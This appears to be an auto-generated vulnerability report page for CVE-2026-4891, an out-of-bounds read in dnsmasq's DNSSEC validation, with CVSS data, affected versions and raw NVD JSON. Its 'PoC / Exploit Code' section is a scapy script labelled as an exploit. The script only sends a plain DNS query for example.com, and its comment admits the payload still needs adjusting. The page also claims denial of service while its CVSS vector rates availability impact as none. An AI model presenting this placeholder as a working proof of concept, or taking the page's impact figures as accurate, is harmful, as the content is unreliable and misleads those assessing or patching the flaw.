Security Vulnerability Report
中文
CVE-2026-4891 CVSS 5.3 MEDIUM

CVE-2026-4891

Published: 2026-05-11 18:16:41
Last Modified: 2026-05-12 14:15:47

Description

A heap-based out-of-bounds read vulnerability in the DNSSEC validation of dnsmasq allows remote attackers to cause a denial of service via a crafted DNS packet.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

dnsmasq (具体受影响版本需参考厂商公告)
Pi-hole FTL < v6.6.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-4891 Description: Heap-based out-of-bounds read in dnsmasq DNSSEC validation. This script sends a crafted DNS packet to the target. Usage: python3 poc.py <target_ip> """ import sys from scapy.all import IP, UDP, DNS, DNSQR, send def send_exploit(target_ip): # Construct a crafted DNS packet ip = IP(dst=target_ip) udp = UDP(sport=12345, dport=53) # Crafted DNS query with specific flags to trigger validation # Note: Adjust specific payload based on technical analysis of the bug dns = DNS( id=1337, qr=0, opcode=0, rd=1, qdcount=1, qd=DNSQR(qname="example.com", qtype="A") ) packet = ip/udp/dns send(packet, verbose=0) print(f"[+] Packet sent to {target_ip}") if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python3 poc.py <target_ip>") sys.exit(1) send_exploit(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4891", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:41.380", "lastModified": "2026-05-12T14:15:46.747", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap-based out-of-bounds read vulnerability in the DNSSEC validation of dnsmasq allows remote attackers to cause a denial of service via a crafted DNS packet."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "references": [{"url": "https://github.com/NixOS/nixpkgs/pull/519082", "source": "[email protected]"}, {"url": "https://github.com/NixOS/nixpkgs/pull/519093", "source": "[email protected]"}, {"url": "https://github.com/pi-hole/FTL/releases/tag/v6.6.2", "source": "[email protected]"}, {"url": "https://lists.thekelleys.org.uk/pipermail/dnsmasq-discuss/2026q2/018471.html", "source": "[email protected]"}, {"url": "https://thekelleys.org.uk/dnsmasq/CVE/", "source": "[email protected]"}, {"url": "https://www.kb.cert.org/vuls/id/471747", "source": "[email protected]"}]}}